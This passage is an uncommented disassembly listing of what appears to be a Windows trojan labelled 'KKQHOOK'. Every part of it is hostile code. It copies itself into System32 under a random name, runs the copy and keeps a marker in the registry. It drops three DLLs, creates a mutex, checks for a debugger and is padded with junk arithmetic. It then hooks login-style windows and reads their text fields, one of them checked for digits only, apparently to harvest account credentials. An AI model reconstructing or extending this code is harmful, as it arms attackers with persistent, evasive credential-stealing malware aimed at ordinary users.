		call	sub_40C764	; RtlGetLastWin32Error
		push	offset dword_419710
		call	sub_40C7DC	; GetVersionExA
		mov	[ebp+var_166], 14B0h
		movzx	eax, [ebp+var_166]
		imul	eax, 2D29h
		mov	[ebp+var_166], ax
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_167], 6Eh
		movzx	eax, [ebp+var_167]
		imul	eax, 5351h
		mov	[ebp+var_167], al
		call	sub_40C7C4	; GetTickCount
		push	eax
		call	sub_40CC5C
		mov	[ebp+var_168], 59h
		movzx	eax, [ebp+var_168]
		imul	eax, 49B8h
		mov	[ebp+var_168], al
		mov	eax, dword_446A3A
		mov	[ebp+var_780], eax
		push	104h
		lea	eax, [ebp+var_470]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C770	; GetModuleFileNameA
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_5C], 0
		mov	[ebp+var_474], 4
		mov	[ebp+var_16C], 665Eh
		mov	eax, 6DB4h
		mul	[ebp+var_16C]
		mov	[ebp+var_7B8], eax
		mov	[ebp+var_16C], eax
		lea	eax, [ebp+var_784]
		push	eax
		lea	eax, [ebp+var_474]
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 24h
		mov	[ebp+var_478], eax
		mov	[ebp+var_5D], 0FBh
		movzx	eax, [ebp+var_5D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5D], al
		cmp	[ebp+var_478], 0
		jz	short loc_40AC5D
		lea	edi, [ebp+var_7C1]
		lea	esi, aAg9	; " 9"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_5C], 1Dh
		jbe	short loc_40AC32
		mov	eax, 6
		sub	eax, dword_43C094
		push	eax
		call	sub_40CBFC
		pop	ecx

loc_40AC32:				; CODE XREF: sub_40AA24+1FAj
		cmp	[ebp+var_5C], 1Dh
		jz	loc_40AE0C
		mov	[ebp+var_7BC], 6267h
		mov	eax, 5DE7h
		mul	[ebp+var_7BC]
		mov	[ebp+var_7C8], eax
		mov	[ebp+var_7BC], eax

loc_40AC5D:				; CODE XREF: sub_40AA24+1E1j
		lea	edi, [ebp+var_78C]
		lea	esi, aDpuayyf	; "DpUyYF"
		movsd
		movsd
		lea	edi, [ebp+var_792]
		lea	esi, aWq6ug	; "wq6Ug"
		mov	ecx, 3
		rep movsw
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_2D], dl
		mov	[ebp+var_272], 223Eh
		movzx	eax, [ebp+var_272]
		imul	eax, 298Dh
		mov	[ebp+var_272], ax
		mov	[ebp+var_1], 1
		jmp	short loc_40ACF3
; ---------------------------------------------------------------------------

loc_40ACC6:				; CODE XREF: sub_40AA24+2D4j
		call	sub_40CC38
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_2D], dl
		add	[ebp+var_1], 1

loc_40ACF3:				; CODE XREF: sub_40AA24+2A0j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_40ACC6
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_25], 0
		call	sub_40CC38
		mov	edx, eax
		test	dl, 1
		jnz	short loc_40AD21
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_27], 33h
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_26], 32h

loc_40AD21:				; CODE XREF: sub_40AA24+2E9j
		push	9
		push	offset byte_446C1B
		call	sub_40129C
		lea	edi, [ebp+var_2D]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_270]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_795]
		lea	esi, aRf	; "rf"
		mov	ecx, 3
		rep movsb
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		lea	eax, [ebp+var_470]
		push	eax
		call	sub_40C86C	; CopyFileA
		mov	[ebp+var_278], 1F00h
		add	[ebp+var_278], 2126h
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_403BE7
		mov	ax, word_446A54
		mov	[ebp+var_797], ax
		mov	[ebp+var_5C], 1Dh
		push	4
		push	4
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		add	esp, 34h
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_40C938	; WinExec
		mov	ebx, 5146h
		mov	eax, 3A35h
		mul	ebx
		mov	[ebp+var_7BC], eax
		mov	ebx, eax
		call	sub_40406B
		mov	[ebp+var_27C], 7EF6h
		add	[ebp+var_27C], 2A96h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40C710	; ExitProcess
		call	sub_40C764	; RtlGetLastWin32Error

loc_40AE0C:				; CODE XREF: sub_40AA24+212j
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aKkq32_dll ; "kkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_41FA00
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aDnkkq_dll ; "dnkkq.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_40F1E0
		call	sub_40CC50
		call	sub_40C740	; GetCurrentThreadId
		push	5
		push	offset byte_446C15
		call	sub_40129C
		push	offset aDatkkq32_dll ; "datkkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_40E080
		call	sub_40CC50
		mov	[ebp+var_27E], 3039h
		inc	[ebp+var_27E]
		push	0Eh
		push	offset byte_446BE5
		call	sub_40129C
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_41E8D0
		call	sub_40CC50
		push	0FFh
		push	offset dword_415080
		call	sub_40C7F4	; GetWindowsDirectoryA
		mov	[ebp+var_284], 5F78h
		mov	eax, 6104h
		mul	[ebp+var_284]
		mov	[ebp+var_7C0], eax
		mov	[ebp+var_284], eax
		push	9
		push	offset byte_446BDB
		call	sub_40129C
		push	eax
		push	offset dword_415080
		call	sub_40CC74
		mov	[ebp+var_286], 8EFh
		sub	[ebp+var_286], 6AEAh
		lea	eax, aKkqhook	; "KKQHOOK"
		mov	[ebp+var_31], eax
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, ds:dword_41E8CC
		mov	[ebp+var_45], eax
		lea	eax, sub_40B3E8
		mov	[ebp+var_51], eax
		push	7F00h
		push	0
		call	sub_40C9EC	; LoadCursorA
		mov	[ebp+var_3D], eax
		mov	[ebp+var_28C], 5A0Bh
		inc	[ebp+var_28C]
		push	7F03h
		push	0
		call	sub_40CA04	; LoadIconA
		mov	[ebp+var_41], eax
		call	sub_40C7C4	; GetTickCount
		and	[ebp+var_35], 0
		push	0
		call	sub_40CAE8	; GetStockObject
		mov	[ebp+var_39], eax
		lea	edi, [ebp+var_79F]
		lea	esi, a16xYi_	; "16X<Yi_"
		movsd
		movsd
		mov	[ebp+var_55], 3
		and	[ebp+var_4D], 0
		and	[ebp+var_49], 0
		lea	eax, [ebp+var_55]
		push	eax
		call	sub_40CA94	; RegisterClassA
		mov	[ebp+var_290], 4E7Bh
		sub	[ebp+var_290], 7B38h
		push	0
		push	ds:dword_41E8CC
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CA0000h
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aKkqhook	; "KKQHOOK"
		push	0
		call	sub_40CAB8	; CreateWindowExA
		mov	ds:dword_41C7BC, eax
		push	offset aKkqhook_29 ; "KKQHOOK_29"
		push	0
		push	0
		call	sub_40C950	; CreateMutexA
		call	sub_40C7D0	; GetVersion
		push	2
		call	sub_402A48
		add	esp, 70h
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_40B05B
		mov	eax, dword_446A5E
		mov	[ebp+var_7C8], eax
		push	0Ch
		push	offset word_446BCE
		call	sub_40129C
		push	eax
		call	sub_40C77C	; GetModuleHandleA
		mov	edi, eax
		push	16h
		push	offset aJZaJzJvDjZz ; ""
		call	sub_40129C
		add	esp, 10h
		push	eax
		push	edi
		call	sub_40C788	; GetProcAddress
		mov	[ebp-7C4h], eax
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		call	dword ptr [ebp-7C4h]
		lea	edi, [ebp+var_7CF]
		lea	esi, word_446A62
		mov	ecx, 7
		rep movsb

loc_40B05B:				; CODE XREF: sub_40AA24+5CFj
		push	104h
		lea	eax, [ebp+var_57C]
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		mov	[ebp+var_292], 1A3Fh
		inc	[ebp+var_292]
		lea	eax, [ebp+var_57C]
		push	eax
		call	sub_40341E
		push	offset dword_41FA00
		call	sub_40341E
		push	offset dword_40F1E0
		call	sub_40341E
		call	sub_40C7C4	; GetTickCount
		push	offset dword_40E080
		call	sub_40341E
		call	sub_40C7C4	; GetTickCount
		call	sub_40C734	; GetCurrentProcessId
		push	eax
		call	sub_4036BC
		mov	[ebp+var_293], 0A0h
		sub	[ebp+var_293], 3Ch
		lea	edi, [ebp+var_7A2]
		lea	esi, byte_446A69
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_2F7]
		push	eax
		call	sub_40399B
		call	sub_40C734	; GetCurrentProcessId
		and	[ebp+var_360], 0
		mov	[ebp+var_364], 64h
		push	45h
		push	offset aZAgJIsJZAigGzi ; ""...
		call	sub_40129C
		lea	edi, [ebp+var_360]
		push	edi
		lea	edi, [ebp+var_364]
		push	edi
		lea	edi, [ebp+var_35B]
		push	edi
		lea	edi, [ebp+var_2F7]
		push	edi
		push	eax
		push	80000002h
		call	sub_4014C9
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	offset byte_446B6F
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_35B]
		push	edi
		call	sub_4037CA
		lea	edi, [ebp+var_7AA]
		lea	esi, aAH@2du	; "$H@2dU"
		movsd
		movsd
		push	1
		push	offset byte_446B6D
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_2F7]
		push	edi
		call	sub_4037CA
		call	sub_40C7C4	; GetTickCount
		mov	ax, word_446A74
		mov	[ebp+var_7AC], ax
		push	17h
		push	offset byte_446B55
		call	sub_40129C
		lea	edi, [ebp+var_35B]
		push	edi
		push	eax
		lea	edi, [ebp+var_77A]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_7AF]
		lea	esi, word_446A76
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_67B]
		push	eax
		push	0
		lea	eax, [ebp+var_77A]
		push	eax
		push	80000000h
		call	sub_4014C9
		lea	eax, [ebp+var_67B]
		push	eax
		call	sub_40341E
		call	sub_40C854	; IsDebuggerPresent
		call	sub_403A5F
		mov	[ebp+var_366], 6996h
		movzx	eax, [ebp+var_366]
		imul	eax, 6E78h
		mov	[ebp+var_366], ax
		push	offset sub_408048
		call	sub_407F07
		add	esp, 8Ch
		lea	eax, [ebp+var_7B4]
		push	eax
		push	0
		push	0
		push	offset sub_4098A8
		push	0
		push	0
		call	sub_40C980	; CreateThread
		push	eax
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		push	0
		mov	eax, dword_43C094
		add	eax, 1EFh
		push	eax
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	ds:dword_41C7BC
		call	sub_40C9F8	; SetTimer
		mov	[ebp+var_367], 0ADh
		add	[ebp+var_367], 1
		jmp	short loc_40B2B0
; ---------------------------------------------------------------------------

loc_40B280:				; CODE XREF: sub_40AA24+89Dj
		lea	edi, [ebp+var_7C3]
		lea	esi, byte_446A79
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA64	; TranslateMessage
		mov	eax, dword_446A7C
		mov	[ebp+var_7C8+1], eax
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA70	; DispatchMessageA

loc_40B2B0:				; CODE XREF: sub_40AA24+85Aj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40CA1C	; GetMessageA
		or	eax, eax
		jnz	short loc_40B280
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40AA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2CA	proc near		; DATA XREF: sub_408ED0+917o
					; sub_408ED0+94Fo ...

var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		cmp	eax, 100h
		jz	short loc_40B2EC
		jmp	short loc_40B35A
; ---------------------------------------------------------------------------
		call	sub_40C7D0	; GetVersion

loc_40B2EC:				; CODE XREF: sub_40B2CA+19j
		call	sub_40C794	; GetProcessHeap
		cmp	[ebp+arg_8], 9
		jnz	short loc_40B35A
		mov	eax, dword_446A80
		mov	[ebp+var_14], eax
		cmp	ebx, ds:dword_41081C
		jnz	short loc_40B312
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus

loc_40B312:				; CODE XREF: sub_40B2CA+3Bj
		call	sub_40C7D0	; GetVersion
		cmp	ebx, ds:dword_432DC0
		jnz	short loc_40B32A
		push	ds:dword_41E8C4
		call	sub_40C9D4	; SetFocus

loc_40B32A:				; CODE XREF: sub_40B2CA+53j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ebx, ds:dword_41E8C4
		jnz	short loc_40B342
		push	ds:dword_41E8BC
		call	sub_40C9D4	; SetFocus

loc_40B342:				; CODE XREF: sub_40B2CA+6Bj
		cmp	ebx, ds:dword_41E8BC
		jnz	short loc_40B355
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus

loc_40B355:				; CODE XREF: sub_40B2CA+7Ej
		call	sub_40C794	; GetProcessHeap

loc_40B35A:				; CODE XREF: sub_40B2CA+1Bj
					; sub_40B2CA+2Bj
		and	[ebp+var_4], 0
		cmp	ebx, ds:dword_432DC0
		jnz	short loc_40B36E
		mov	eax, ds:dword_41F9F4
		mov	[ebp+var_4], eax

loc_40B36E:				; CODE XREF: sub_40B2CA+9Aj
		cmp	ebx, ds:dword_41E8C4
		jnz	short loc_40B37E
		mov	eax, ds:dword_41E8C0
		mov	[ebp+var_4], eax

loc_40B37E:				; CODE XREF: sub_40B2CA+AAj
		mov	[ebp+var_6], 5304h
		sub	[ebp+var_6], 7ADBh
		cmp	ebx, ds:dword_41081C
		jnz	short loc_40B39A
		mov	eax, ds:dword_40E078
		mov	[ebp+var_4], eax

loc_40B39A:				; CODE XREF: sub_40B2CA+C6j
		call	sub_40C734	; GetCurrentProcessId
		cmp	ebx, ds:dword_41E8BC
		jnz	short loc_40B3AF
		mov	eax, ds:dword_413F1C
		mov	[ebp+var_4], eax

loc_40B3AF:				; CODE XREF: sub_40B2CA+DBj
		lea	edi, [ebp+var_C]
		lea	esi, aPB6	; "p|b6"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_4], 0
		jz	short loc_40B3D9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_4]
		call	sub_40C98C	; CallWindowProcA
		jmp	short loc_40B3E1
; ---------------------------------------------------------------------------

loc_40B3D9:				; CODE XREF: sub_40B2CA+F9j
		mov	[ebp+var_7], 8Bh
		add	[ebp+var_7], 1

loc_40B3E1:				; CODE XREF: sub_40B2CA+10Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B2CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3E8	proc near		; DATA XREF: sub_40AA24+4F0o

var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_22F		= byte ptr -22Fh
var_130		= byte ptr -130h
var_12B		= byte ptr -12Bh
var_126		= word ptr -126h
var_124		= byte ptr -124h
var_121		= dword	ptr -121h
var_11D		= byte ptr -11Dh
var_11A		= byte ptr -11Ah
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_100		= byte ptr -100h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 264h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C7h
		add	[ebp+var_1], 1
		mov	eax, [ebp+arg_4]
		cmp	eax, 10h
		jz	loc_40B5E9
		jg	short loc_40B418
		cmp	eax, 2
		jz	loc_40B5CE
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------

loc_40B418:				; CODE XREF: sub_40B3E8+20j
		cmp	eax, 111h
		jz	loc_40B709
		cmp	eax, 113h
		jz	short loc_40B453
		cmp	eax, 111h
		jl	loc_40BC0A
		cmp	eax, 138h
		jz	loc_40B605
		jmp	loc_40BC0A
; ---------------------------------------------------------------------------
		mov	[ebp+var_104], 0C5h
		add	[ebp+var_104], 26h

loc_40B453:				; CODE XREF: sub_40B3E8+40j
		mov	[ebp+var_108], 4FC7h
		inc	[ebp+var_108]
		cmp	dword_43C220, 0
		jz	loc_40B57B
		mov	[ebp+var_238], 1930h
		add	[ebp+var_238], 3C79h
		push	9
		push	offset aRIA	; ""
		call	sub_40129C
		push	eax
		push	dword_43C220
		call	sub_408E12
		mov	[ebp+var_23C], eax
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset aSmdJJ	; ""
		call	sub_40129C
		push	eax
		push	[ebp+var_23C]
		call	sub_408E12
		add	esp, 20h
		mov	[ebp+var_240], eax
		lea	eax, [ebp+var_250]
		push	eax
		push	[ebp+var_240]
		call	sub_40C9A4	; GetWindowRect
		or	eax, eax
		jz	loc_40B57B
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_260]
		push	eax
		push	ds:dword_41FB04
		call	sub_40C9A4	; GetWindowRect
		or	eax, eax
		jz	short loc_40B57B
		call	sub_40C7D0	; GetVersion
		mov	eax, [ebp+var_248]
		sub	eax, [ebp+var_250]
		sub	eax, 4
		mov	edx, [ebp+var_258]
		sub	edx, [ebp+var_260]
		cmp	eax, edx
		jnz	short loc_40B540
		mov	eax, [ebp+var_244]
		sub	eax, [ebp+var_24C]
		sub	eax, 4
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_25C]
		cmp	eax, edx
		jz	short loc_40B57B

loc_40B540:				; CODE XREF: sub_40B3E8+137j
		call	sub_40C7D0	; GetVersion
		push	1
		mov	eax, [ebp+var_244]
		sub	eax, [ebp+var_24C]
		push	eax
		mov	eax, [ebp+var_248]
		sub	eax, [ebp+var_250]
		push	eax
		push	0
		push	0
		push	ds:dword_41FB04
		call	sub_40CAD0	; MoveWindow
		mov	eax, off_446A89
		mov	[ebp+var_264], eax

loc_40B57B:				; CODE XREF: sub_40B3E8+82j
					; sub_40B3E8+F4j ...
		cmp	dword_43C21C, 0
		jz	loc_40BC22
		mov	[ebp+var_238], 5CFDh
		mov	eax, [ebp+var_238]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_238], edx
		mov	eax, dword_43C21C
		mov	dword_43C220, eax
		call	sub_40C7C4	; GetTickCount
		and	dword_43C21C, 0
		push	dword_43C220
		call	sub_408ED0
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B5CE:				; CODE XREF: sub_40B3E8+25j
		mov	eax, ds:dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5DF
		push	0
		call	sub_40CAA0	; PostQuitMessage

loc_40B5DF:				; CODE XREF: sub_40B3E8+1EEj
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B5E9:				; CODE XREF: sub_40B3E8+1Aj
		mov	eax, ds:dword_41C7BC
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B5FB
		push	[ebp+arg_0]
		call	sub_40CAC4	; DestroyWindow

loc_40B5FB:				; CODE XREF: sub_40B3E8+209j
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B605:				; CODE XREF: sub_40B3E8+52j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_114], eax
		cmp	eax, ds:dword_432DB8
		jz	short loc_40B642
		cmp	eax, ds:dword_413F20
		jz	short loc_40B642
		cmp	eax, ds:dword_41B7A8
		jz	short loc_40B642
		cmp	eax, ds:dword_4351D8
		jz	short loc_40B642
		cmp	eax, ds:dword_432DBC
		jz	short loc_40B642
		cmp	eax, ds:dword_43A558
		jnz	loc_40BC22

loc_40B642:				; CODE XREF: sub_40B3E8+22Cj
					; sub_40B3E8+234j ...
		mov	word ptr [ebp+var_238+2], 75BDh
		movzx	eax, word ptr [ebp+var_238+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_238+2], ax
		mov	eax, [ebp+var_114]
		cmp	eax, ds:dword_432DBC
		jz	short loc_40B675
		cmp	eax, ds:dword_43A558
		jnz	short loc_40B684

loc_40B675:				; CODE XREF: sub_40B3E8+283j
		push	1010B0h
		push	[ebp+arg_8]
		call	sub_40CB00	; SetTextColor
		jmp	short loc_40B68E
; ---------------------------------------------------------------------------

loc_40B684:				; CODE XREF: sub_40B3E8+28Bj
		push	0
		push	[ebp+arg_8]
		call	sub_40CB00	; SetTextColor

loc_40B68E:				; CODE XREF: sub_40B3E8+29Aj
		mov	word ptr [ebp+var_238],	64CAh
		movzx	eax, word ptr [ebp+var_238]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_238],	ax
		push	0FFFFFFh
		push	[ebp+arg_8]
		call	sub_40CAF4	; SetBkColor
		mov	byte ptr [ebp+var_23C+3], 5Dh
		sub	byte ptr [ebp+var_23C+3], 0FBh
		and	[ebp+var_254], 0
		and	[ebp+var_250], 0
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_40CB0C	; CreateBrushIndirect
		mov	[ebp+var_240], eax
		lea	edi, [ebp+var_248]
		lea	esi, aAhAq	; " *h&q"
		movsd
		movsd
		mov	eax, [ebp+var_240]
		jmp	loc_40BC22
; ---------------------------------------------------------------------------
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B709:				; CODE XREF: sub_40B3E8+35j
		lea	edi, [ebp+var_11A]
		lea	esi, aGjvry	; "gjVRy"
		mov	ecx, 3
		rep movsw
		push	2
		push	offset word_446B52
		call	sub_40129C
		push	offset byte_433FE0
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C794	; GetProcessHeap
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_432DC0
		call	sub_40C998	; GetWindowTextA
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+var_100], 0
		jnz	short loc_40B79D
		call	sub_40C854	; IsDebuggerPresent
		push	1Fh
		push	offset word_446B32
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40CA10	; MessageBoxA
		push	ds:dword_432DC0
		call	sub_40C9D4	; SetFocus
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B79D:				; CODE XREF: sub_40B3E8+37Ej
		push	5
		push	offset dword_446B2C
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_41E8C4
		call	sub_40C998	; GetWindowTextA
		cmp	[ebp+var_100], 0
		jnz	short loc_40B822
		call	sub_40C7C4	; GetTickCount
		push	1Eh
		push	offset byte_446B0D
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40CA10	; MessageBoxA
		mov	eax, dword_446A9B
		mov	[ebp+var_238], eax
		push	ds:dword_41E8C4
		call	sub_40C9D4	; SetFocus
		jmp	loc_40BC22
; ---------------------------------------------------------------------------

loc_40B822:				; CODE XREF: sub_40B3E8+3FDj
		push	5
		push	offset byte_446B07
		call	sub_40129C
		lea	edi, [ebp+var_100]
		push	edi
		lea	edi, [ebp+var_22F]
		push	edi
		push	eax
		lea	edi, [ebp+var_22F]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		call	sub_40C7D0	; GetVersion
		push	0FFh
		lea	eax, [ebp+var_100]
		push	eax
		push	ds:dword_41E8BC
		call	sub_40C998	; GetWindowTextA
		lea	edi, [ebp+var_11D]
		lea	esi, byte_446A9F
		mov	ecx, 3
		rep movsb
		cmp	[ebp+var_100], 0
		jz	loc_40B9B8
		mov	[ebp+var_10C], 53E8h
		add	[ebp+var_10C], 3B86h
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh

loc_40B8A5:				; CODE XREF: sub_40B3E8+4C2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8A5
		cmp	eax, 4
		jb	loc_40B9B8
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_102], 0
		jmp	short loc_40B8E5
; ---------------------------------------------------------------------------

loc_40B8C3:				; CODE XREF: sub_40B3E8+516j
		movzx	eax, [ebp+var_102]
		mov	al, [ebp+eax+var_100]
		cmp	al, 30h
		jl	short loc_40B8D9
		cmp	al, 39h
		jle	short loc_40B8DE

loc_40B8D9:				; CODE XREF: sub_40B3E8+4EBj
		jmp	loc_40B9B8
; ---------------------------------------------------------------------------

loc_40B8DE:				; CODE XREF: sub_40B3E8+4EFj
		add	[ebp+var_102], 1

loc_40B8E5:				; CODE XREF: sub_40B3E8+4D9j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh

loc_40B8EE:				; CODE XREF: sub_40B3E8+50Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B8EE
		movzx	esi, [ebp+var_102]
		cmp	esi, eax
		jb	short loc_40B8C3
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_101], 0
		jmp	loc_40B997
; ---------------------------------------------------------------------------

loc_40B911:				; CODE XREF: sub_40B3E8+5C8j
		mov	byte ptr [ebp+var_238+2], 0EEh
		sub	byte ptr [ebp+var_238+2], 96h
		call	sub_40C764	; RtlGetLastWin32Error
		mov	al, [ebp+var_101]
		mov	byte ptr [ebp+var_238+3], al
		jmp	short loc_40B95B
; ---------------------------------------------------------------------------

loc_40B932:				; CODE XREF: sub_40B3E8+58Cj
		movzx	eax, byte ptr [ebp+var_238+3]
		movsx	eax, [ebp+eax+var_100]
		movzx	edx, [ebp+var_101]
		movsx	edx, [ebp+edx+var_100]
		cmp	eax, edx
		jnz	short loc_40B976
		add	byte ptr [ebp+var_238+3], 1

loc_40B95B:				; CODE XREF: sub_40B3E8+548j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh

loc_40B964:				; CODE XREF: sub_40B3E8+581j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B964
		movzx	esi, byte ptr [ebp+var_238+3]
		cmp	esi, eax
		jb	short loc_40B932

loc_40B976:				; CODE XREF: sub_40B3E8+56Aj
		call	sub_40C734	; GetCurrentProcessId
		movzx	eax, byte ptr [ebp+var_238+3]
		movzx	edx, [ebp+var_101]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_40B9B8
		add	[ebp+var_101], 1

loc_40B997:				; CODE XREF: sub_40B3E8+524j
		lea	ecx, [ebp+var_100]
		or	eax, 0FFFFFFFFh

loc_40B9A0:				; CODE XREF: sub_40B3E8+5BDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B9A0
